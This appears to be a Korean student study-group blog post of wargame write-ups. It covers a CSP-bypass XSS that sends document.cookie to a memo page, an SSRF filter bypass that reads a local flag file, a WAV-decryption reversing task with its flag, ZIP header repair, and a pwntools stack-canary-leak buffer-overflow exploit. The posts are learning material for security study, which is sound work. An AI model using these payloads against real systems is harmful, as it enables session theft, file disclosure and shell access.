스터디 방식 : 매주 워게임 문제 관련 개념 및 풀이 방법 공유
Web 1 - CSP-Bypass
문제 첫 화면
코드 설명
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
#특정 url 열고 지정된 쿠키 추가
#cookie -> 쿠키 이름, 값, 도메인 설정
#설정된 cookie 추가 후 url로 이동해 성공여부 반환
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
#XSS취약점 유무 판단
#param을 url파라미터로 인코딩해 vuln경로 요청 보내고 xss 공격 가능한지 테스트
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
#script-src정책에서 nonce 사용해 스크립트 실행 제어
####default-src, img-src, style-scr 등 CSP 규칙 설정###
#nonce는 요청마다 새롭게 생성
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
#페이지 열었을 때 index.html 렌더링, nonce 값 전달
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
#/vuln경로 요청 시 전달된 param
####전달된 입력값을 그대로 출력하므로 !!!xss 취약점 발생 가능!!!####
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
#xss성공하면 good, 실패하면 wrong
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
#memo 보여주는 함수
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
### 전달된 템플릿 변수 기록 시 html 엔티티 코드로 변환해 저장하므로 xss 발생 불가
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
CSP란?
Content Security Policy, 콘텐츠 보안 정책
XSS -> 페이지 내 js 구문 삽입 -> 마치 원래 페이지 콘텐츠인 것처럼 브라우저 속이고 동일 출처 정책 우회
==>페이지 콘텐츠에서 사용하는 자원들이 모두 웹 서버에서 의도한 자원인지 확인하기 위해 Content Security Policy(CSP) 탄생
XSS/데이터 삽입 류의 공격 발생 시 피해 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새로 추가된 보안 계층
웹 페이지에 사용될 수 있는 자원 위치, 출처 등에 제약 걸 수 있음
nonce
: 특정 상황에서만 쓰기 위해 만든 말/표현
script와 같이 쓰일 때 script 태그의 화이트리스트에 스크립트 등록하기 위한 일회용 암호 역할
암호화 숫자 지정해 CSP 주어진 지정된 요소 진행하도록 허용할지의 여부 결정
default-src : -src로 끝나는 모든 지시문 기본 동작 제어, CSP 구문 내 지정 X 지시문은 해당 정의를 따른다
img-src : 이미지 로드할 수 있는 출처 제어
style-src : 스타일시트 관련 권한, 출처 제어
script-src : 스크립트 태그 관련 권한, 출처제어
self 출처
: 페이지 현재 출처 내 로드하는 리소스만 허용
공격자는 nonce 값 알 수 없어서 XSS 취약점 존재해도 일반적인 방법으로 공격 수행 불가
vuln페이지의 url
http://host3.dreamhack.games:21656/vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E
뒤의 파라미터에 xss 실행 코드를 넣었는데
http://host3.dreamhack.games:21656/vuln?param=<script>alert(1);</script>
다음과 같이 보안 정책(CSP)로 XSS가 실행되지 않는다. (Inline Code)
CSP 정책에서 허용하고 있는 출처 : self
nonce 예측하는 것 불가능.
같은 출처 내 파일 업로드하거나 우리가 원하는 내용 반환하는 페이지 존재 시 -> 공격 이용 가능
=> vuln 페이지 취약하므로 이용하기
문제 해결
vuln 엔드포인트에서 발생한 xss취약점 통해 임의 사용자 쿠키 탈취하기
script태그의 src를 vuln페이지로 사용 -> self 출처 위반하지 않고 원하는 스크립트 로드 가능
<script>...</script> 내부에 작성하지 않고 scr 속성에 코드 경로를 정의해
<script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script>
을 쓰면 익스플로잇 가능하다.
스크립트 부분은 두 단계를 거처 파라미터로 해석 됨.
url decoding 되어 공백으로 해석되지 않도록 +를 %2b로 썼다.
location.href : 전체 url 반환/url 업데이트할 수 있는 속성값
document.cookie : 해당 페이지 사용하는 쿠키 읽고 쓰는 속성값
Web 2 - Deram Gallery
문제 첫 화면
- 서버에 이미지 요청, 파일 업로드 페이지가 존재하는데 특이점이 없어보여 바로 문제파일을 살펴봄
- 외부로 요청하는 기능이 안전한지 모르겠다는 힌트를 활용해 request 부분을 주의해서 보면 될 것 같음
전체 코드
from flask import Flask, request, render_template, url_for, redirect
from urllib.request import urlopen
import base64, os
app = Flask(__name__)
app.secret_key = os.urandom(32)
mini_database = []
@app.route('/')
def index():
return redirect(url_for('view'))
@app.route('/request')
def url_request():
url = request.args.get('url', '').lower()
title = request.args.get('title', '')
if url == '' or url.startswith("file://") or "flag" in url or title == '':
return render_template('request.html')
try:
data = urlopen(url).read()
mini_database.append({title: base64.b64encode(data).decode('utf-8')})
return redirect(url_for('view'))
except:
return render_template("request.html")
@app.route('/view')
def view():
return render_template('view.html', img_list=mini_database)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
f = request.files['file']
title = request.form.get('title', '')
if not f or title == '':
return render_template('upload.html')
en_data = base64.b64encode(f.read()).decode('utf-8')
mini_database.append({title: en_data})
return redirect(url_for('view'))
else:
return render_template('upload.html')
if __name__ == "__main__":
img_list = [
{'초록색 선글라스': "static/assetA#03.jpg"},
{'분홍색 선글라스': "static/assetB#03.jpg"},
{'보라색 선글라스': "static/assetC#03.jpg"},
{'파란색 선글라스': "static/assetD#03.jpg"}
]
for img in img_list:
for k, v in img.items():
data = open(v, 'rb').read()
mini_database.append({k: base64.b64encode(data).decode('utf-8')})
app.run(host="0.0.0.0", port=80, debug=False)
코드 설명
def url_request():
url = request.args.get('url', '').lower()
title = request.args.get('title', '')
if url == '' or url.startswith("file://") or "flag" in url or title == '':
return render_template('request.html')
try:
data = urlopen(url).read()
mini_database.append({title: base64.b64encode(data).decode('utf-8')})
return redirect(url_for('view'))
except:
return render_template("request.html")
- url을 입력받고 해당 url로 이동하여 데이터를 받아옴.
- 그런데, “file://”와 “flag”를 우회해서 작성해야 함
- [file://](file://) 우회 방법
- 공백 + file://
- <file://>
- file:/
- flag 우회 방법
- f를 url 인코딩하여 %66lag.txt로 우회함
file:/%66lag.txt
- 이미지 요청 페이지에 우회방법을 써 아래와 같이 작성 후 제출
- 개발자 도구를 활용하여 코드를 살펴보니 base64로 인코딩된 값이 보임
- 해당 값을 base64로 디코딩
Reversing - Hspace Waving-for-user
문제 첫 화면
sub_11F0 함수를 호출하는 것을 확인할 수 있다.
input 파일에서 2바이트씩 읽어 ROR8 연산을 수행하고 그 값을 sub_1190의 인자값으로 전송한다.
이후 sub_1190의 함수의 반환값을 다시 ROR8 연산을 수행하여 output 파일에 적는다.
10101100 00000000
⇒ ROR8
⇒ 00000000 10101100
⇒ sub_1190(00000000 10101100)
⇒ ROR 8
⇒ 8바이트씩 연산 (즉, 상하위 바이트 값이 바뀜)
a1 & 1 : a1의 최하위 비트 추출
00000000 10101101 ⇒ 1
2 * v3 : 왼쪽으로 1비트 시프트
00000000 00000000
and 연산 : a1의 최하위 비트를 v3에 최하위 비트에 삽입
00000000 00000000 ⇒ 00000000 00000001
a1 >> 1 : a1의 최하위 비트를 버림
0000000 01010110
즉, 상하위 비트를 역순으로 뒤집는 연산을 수행
복호화 코드
import struct
import sys
def reverse_sub_1190(a1):
result = 0
a1 = a1 & 0xffff #입력값 16비트로 제한
for i in range(16): #비트 역순 정렬
result = (result << 1) | (a1 & 1)
a1 >>= 1
return result
def decrypt_wav(input_file, output_file):
with open(input_file, 'rb') as infile, open(output_file, 'wb') as outfile:
header = infile.read(44)
outfile.write(header)
while True:
chunk = infile.read(2)
if len(chunk) < 2:
break
v4 = struct.unpack('<H', chunk)[0]
#ROR8
v4 = ((v4 << 8) & 0xFF00) | ((v4 >> 8) & 0x00FF)
v4 = reverse_sub_1190(v4)
#ROR8
v4 = ((v4 << 8) & 0xFF00) | ((v4 >> 8) & 0x00FF)
outfile.write(struct.pack('<H', v4))
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"사용법: python {sys.argv[0]} <입력_암호화된_WAV> <출력_복호화된_WAV>")
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2]
decrypt_wav(input_file, output_file)
hspace{call_my_phone_right_now_you_know_i_hype_you_boy}
필요 개념
- 비트 연산:
- AND(&) : 두 비트가 모두 1일 때만 1을 반환
- OR(|) : 두 비트 중 하나라도 1이면 1을 반환
- 시프트 연산 : 비트를 왼쪽(<<) 또는 오른쪽(>>)으로 이동
- 비트 회전 (ROR, ROL):
- 비트를 오른쪽 또는 왼쪽으로 회전시키는 연산
- ROR(x, r) = (x >> r) OR (x << (n - r))
- 파일 입출력 관련 API:
- fopen()
- 파일을 열고 FILE* 타입의 파일 포인터를 반환
- 사용법: FILE* fopen(const char* filename, const char* mode);
- fread()
- 파일에서 데이터를 읽음
- 사용법: size_t fread(void* ptr, size_t size, size_t count, FILE* stream);
- fwrite()
- 파일에 데이터를 씀
- 사용법: size_t fwrite(const void* ptr, size_t size, size_t count, FILE* stream);
- fclose()
- 열린 파일을 닫음
- 사용법: int fclose(FILE* stream);
- 파일 포인터 (FILE*)
- C 표준 라이브러리에서 사용되는 파일 스트림에 대한 추상화된 포인터
- 파일의 현재 위치, 버퍼링 정보 등을 포함
- 파일 핸들 (HANDLE)
- Windows API에서 사용되는 파일 리소스에 대한 참조
- 운영 체제 수준의 파일 액세스를 제공
- fopen()
Forensic - ZIP
http://xcz.kr/START/prob/prob27.php
파일을 열어주면, 이름 없는 파일과 flag.rar이라는 파일 총 두 개가 들어있었다.
위와 같이 zip 파일의 일반적인 구조는 크게 3개의 파일 구조(Local File Header, Central Directory, End of central directory record)로 되어 있다.
이때, 파일 하나 당 하나의 Local File Header, Central Directory는 반드시 가져야 한다.
이 문제에서 제공된 압축 파일 내부의 파일은 2개다. 따라서 2개의 Local File Header, 2개의 Central Directory, 1개의 End of central directory record를 가져야 정상적인 파일 구조라고 할 수 있다.
- 이름 없는 파일의 Central Directory 부분이 빠져 있는 것을 확인할 수 있었다. 따라서 문제에서 주어진 압축 파일은 손상된 압축 파일임을 알 수 있었고, 이름 없는 파일의 Central Directory 부분을 복구하면 된다.
위의 사진을 보면 알 수 있듯이, Local File Header와 Central Directory의 구조에서 겹치는 부분이 있다. 이를 토대로 봤을 때 이름 없는 파일의 Local File Header를 참고해 Central Directory 부분을 채워 주면 된다.
- Signature: 50 4B 03 04
- Version: 14 00
- Bit Flags: 00 00
- 압축 방식: 08 00
- 수정 시간: D2 BE
- 수정 날짜: 50 43
- CRC: EC BD 08 97
- 압축 크기: 71 05 00 00
- 원본 크기: 76 05 00 00
- 파일 이름 길이: 09 00
- 추가 필드 길이: 08 00
- 파일명: 00 00 00 00 00 00 00 00 00
위의 내용을 토대로 Central Directory에 들어갈 내용을 작성했다.
- Signature: 50 4B 01 02
- Version: 14 00
- need.ver: 14 00
- Bit Flags: 00 00
- 압축 방식: 08 00
- 수정 시간: D2 BE
- 수정 날짜: 50 43
- CRC: EC BD 08 97
- 압축 크기: 71 05 00 00
- 원본 크기: 76 05 00 00
- 파일 이름 길이: 09 00
- 추가 필드 길이: 08 00
- 파일 코멘트 길이: 00 00
- 디스크 번호 시작: 00 00
- 파일 속성: 01 00 20 00 00 00
- 로컬 헤더 offset: 00 00 00 00
- 파일명: 00 00 00 00 00 00 00 00 00
→ 복구를 해준다.
이름없는 파일이 복구가 되고, 해당 파일에 적혀있는 pw를 rar에 넣어주면
풀린다.
EOCD란?
zip 파일 구조
- Local File Header와 Central Header이 3세트가 있음 = zip 파일 안에 3개의 파일이 압축되었다는 것을 의미
Local Directory
- 압축 대상 파일의 압축 데이터 저장
- Local File Header
- File Data
- Data Descriptor
- 압축 대상 파일의 메타 데이터를 저장
- Central Directory File Header
- End of Central Directory(EOCD)
EOCD 구조
zip 파일을 최초 실행 시, EOCD로 이동하게 됨
풀이(Develop.ing)
1. 문제 파일
- zipzipzip.zip이라는 압축 파일을 탐색기에서 확인하면 그 안에 hello.txt(1KB)와 zipzip.zip(51KB) 두 파일이 들어있는 것을 확인할 수 있다.
- hello.txt를 읽어보면 “Let’s seeee the end of…!!”라는 문구가 적혀있고 정상적으로 잘 열리며 용량도 작은 것을 보아하니 그 외 다른 특이점은 없는 것 같다.
- 반면 zipzipzip.zip 파일 안에는 두 파일이 있는 것을 확인할 수 있지만, 정상적인 방법으로는 압축해제가 되지 않고 복구도 되지 않는 것을 확인할 수 있다.
2. HxD로 분석하기
HxD 도구로 zipzipzip.zip을 열어보면 다음과 같은 모습을 볼 수 있다. zip 압축 파일의 헤더 시그니처는 50 4B 로, Ctrl+F를 사용하여 16진수 값을 검색해준다.
zip 파일에 있는 첫 번째 문서는 pdf로, “Renaissance.pdf”라는 파일명을 가지고 있는 것을 확인할 수 있다.
두 번째 문서는 txt로, “sign.txt”라는 메모장 제목임을 의미한다.
3. zip 파일 분석
- 압축이 정상적으로 해제되지 않은 zip 파일에서 확인할 수 있었던 문서 개수는 총 2개로, “Renaissance.pdf”와 “sign.txt”외에 다른 문서는 없는 것을 알 수 있다. 방금 문서명을 확인하였을 때, 50 4B 03 04 라는 구조로 확인을 하였다. 이는 zip 압축 파일의 “Local Header”를 의미하는 것이다.
Local Header
- 시그니처 : 50 4B 03 04
- 최종 파일 수정 시간 및 압축된 데이터 크기, 원본 데이터 크기, 파일 이름 등을 확인할 수 있음
“sign.txt”라는 문서명을 확인한 다음에는, Offset CAB3 ~ Offset CB26에서 50 4B 01 02 라는 시그니처로 시작하는 부분을 연속적으로 확인할 수 있다. 이는 Central Directory로, 압축된 데이터의 크기와 파일 이름 등을 확인할 수 있는 압축 파일 구조 중 한 부분이다. 그러나 Central Directory의 0x2E부터는 파일 이름이 들어가야하는 부분이지만, 두 문서의 Cetnral Directory에서는 Local Header 부분과 다르게 파일 이름이 지워진 것을 확인할 수 있다.
Zip 파일의 Central Directory File Header
- 위 파일 구조를 참고하였을 때, 0x14부터 압축된 파일 사이즈 및 원본 파일 사이즈 등을 확인할 수 있다. 따라서 파일 구조를 분석하였을 때 용량이 더 큰 Central Directory에는 “Renaissance.pdf”의 파일명을, 용량이 더 작은 Central Direcotry에는 “sign.txt” 파일명을 작성하여 손상된 header 부분을 복구해주도록 하겠다.
- 첫 번째 Central Directory Header 부분을 살펴보면, 0x0000CA35가 압축된 파일 크기를 의미함을 알 수 있다. 이는 10진수로 변환하면 51,765로 pdf의 Central Directory임을 알 수 있다.
- 동일한 방식으로 두 번째 Central Direcotry Header 부분을 살펴보면 0x0000002B로 파일 크기가 43인 sign.txt임을 알 수 있다.
따라서 위와 같이 파일명을 알맞은 위치에 기입을 해준다.
4. 압축 해제
정상적으로 파일명이 나와있으며, 압축이 풀리는 것을 확인할 수 있다.
sign.txt에는 “~의 끝부분에는 여전히 이상한 것이 있다…”라고 영문으로 적혀있다.
zipzipzipzip.zip에 들어있던 또다른 문서 파일인 “Renaissance.pdf”에는 영어로 된 시가 쭉 작성되어 있다.
문서는 총 5페이지로, 끝까지 내려봐도 특별한 정황 및 문구는 없었다. HxD로 숨겨진 단서 등이 있는지 확인을 해보자.
확장자인 pdf의 푸터 시그니처인 25 45 4F 46 의 뒷 부분에 문구가 작성되어 있는 것을 보아, sign.txt가 나름의 힌트를 주고 있던 것 같다. zip 파일의 구조 복구만 하였다면 pdf에 숨겨진 flag는 손쉽게 찾을 수 있었다.
Pwnable - ssp_001
익스플로잇 코드 작성 복습, 카나리 보호기법을 곁들인
32bit 아키텍처
Canary와 NX 방어기법 걸려있음
보호기법 탐지
checksec ssp_001
Canary와 NX가 걸려있음
보호기법
Stack Canary
-버퍼와 SFP 사이에 임의의 데이터를 삽입하여 버퍼 오버플로우를 탐지하는 기법
-에필로그에서 해당 값을 확인하여 메모리가 변조되었는지 확인
NX (= No eXecute)
-코드 실행 가능한 메모리 영역과 쓰기 가능한 메모리 영역을 분리하는 기법
-NX bit 적용된 바이너리는 코드영역 외에 실행권한 없음
→ NX bit 적용되지 않은 바이너리는 스택, 힙, 데이터 영역에도 실행 권한 존재
ssp_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
get_shell 함수 있음
case ‘P’
→ print_box 함수를 통해 box의 index의 맞는 값 출력, scanf에서 크기 제한을 안하고 있기 때문에 box 넘는 값도 출력 가능
case ‘E’
→ scanf에서 idx 크기 제한이 없어 box 크기보다 더 입력되어 BOF 발생
gdb ssp_001
pwndbg> disass main
Dump of assembler code for function main:
0x0804872b <+0>: push ebp //prolog
0x0804872c <+1>: mov ebp,esp //prolog
0x0804872e <+3>: push edi //데이터 조작 또는 복사 시 목적지의 주소 저장됨
0x0804872f <+4>: sub esp,0x94 //스택의 148byte 만큼 공간 확보
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc] //ebp+0xc 주소의 들어있는 데이터에 32byte 만큼의 데이터를 eax의 복사
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax //eax의 있는 데이터를 ebp-0x98 주소의 eax 값 저장
0x0804873e <+19>: mov eax,gs:0x14 //0x14를 eax의 복사
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax //eax의 값을 ebp-0x8의 주소의 복사
0x08048747 <+28>: xor eax,eax //eax 값과 eax 값 xor 연산
0x08048749 <+30>: lea edx,[ebp-0x88] //ebp-0x88 주소의 있는 값의 주소를 edx의 저장
0x0804874f <+36>: mov eax,0x0 //eax의 0x0 값 복사
0x08048754 <+41>: mov ecx,0x10 //ecx의 0x10 값 복사
0x08048759 <+46>: mov edi,edx //edi의 edx 값 복사
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax //eax의 값을 edi 주소의 저장하는 데 ecx 값이 0이 될 때까지 반복
0x0804875d <+50>: lea edx,[ebp-0x48] //ebp-0x48 주소가 가리키는 값의 주소를 edx의 저장
0x08048760 <+53>: mov eax,0x0 //0x0을 eax의 복사
0x08048765 <+58>: mov ecx,0x10 //0x10을 ecx의 복사
0x0804876a <+63>: mov edi,edx //edx 값을 edi의 복사
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax //eax의 값을 edi 주소의 저장하는 데 ecx 값이 0이 될 때까지 반복
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize> //initialize 함수 호출
0x08048790 <+101>: call 0x80486f1 <menu> //menu 함수 호출
0x08048795 <+106>: push 0x2 //push 2
0x08048797 <+108>: lea eax,[ebp-0x8a] //eax = select
0x0804879d <+114>: push eax //select
0x0804879e <+115>: push 0x0 //push 0
0x080487a0 <+117>: call 0x80484a0 <read@plt> //read 함수를 통해 menu select
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46 //ASCII 0x46 = F, 비교
0x080487b5 <+138>: je 0x80487c6 <main+155> //case 'F'
0x080487b7 <+140>: cmp eax,0x50 //ASCII 0x46 = P, 비교
0x080487ba <+143>: je 0x80487eb <main+192> //case 'P'
0x080487bc <+145>: cmp eax,0x45 //ASCII 0x46 = E, 비교
0x080487bf <+148>: je 0x8048824 <main+249> //case 'E'
0x080487c1 <+150>: jmp 0x804887a <main+335> //맞는 경우가 없으면 다시 menu 함수 호출
0x080487c6 <+155>: push 0x804896c //case 'F'
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40 //push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88] //box 위치
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt> //read(0, box, 0x40)
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979 //case 'P'
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94] //index위치
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a //%d
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> //scanf("%d", &idex)
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d //case 'E'
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90] //name_len 위치
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] //eax = name_len
0x08048858 <+301>: push eax //push name_len
0x08048859 <+302>: lea eax,[ebp-0x48] //name 위치
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt> read(0, name, name_len)
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8] //canary 위치
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
get_shell
0x80486b9
→ 메뉴 P로 canary leak!
canary 값을 4byte 출력해야 함, box~canary 까지 거리 기준으로 구해야 함 *box에서 bof가 발생하기 때문
box~canary까지 128byte이고 4byte니깐 128~131까지 주면 canary를 leak할 수 있음
→ 메뉴 E로 BOF
ret을 get_shell 주소로 덮어야 함
익스플로잇 코드
from pwn import *
p = remote("host3.dreamhack.games", 23903)
context.arch = "i386"
get_shell_addr = 0x080486b9
#canary
canary = b''
for i in range(128, 132):
p.sendafter(b"> ", "P")
p.sendlineafter(b"Element index : ", str(i))
p.recvuntil(b"is : ")
canary = p.recvuntil(b"\n")[0:2] + canary
canary = p32(int(capnary, 16))
#BOF
payload = b'A' * 0x40
payload += canary
payload += b'B' * 0x8
payload += p32(get_shell_addr)
p.sendlineafter(b"> ", "E")
p.sendlineafter(b"Name Size : ", str(1000))
p.sendlineafter(b"Name : ", payload)
p.interactive()
python3 s1.py
$ ls
flag
'4-1. 2024-2 심화 스터디 > 워게임 도장 깨기' 카테고리의 다른 글
[6주차] 241111 워게임 도장 깨기 (2) | 2024.11.15 |
---|---|
[5주차] 2411104 워게임 도장 깨기 (4) | 2024.11.09 |
[4주차] 241028 워게임 도장 깨기 (1) | 2024.10.31 |
[2주차] 240926 워게임 도장 깨기 (3) | 2024.09.26 |
[1주차] 240920 워게임 도장 깨기 (0) | 2024.09.20 |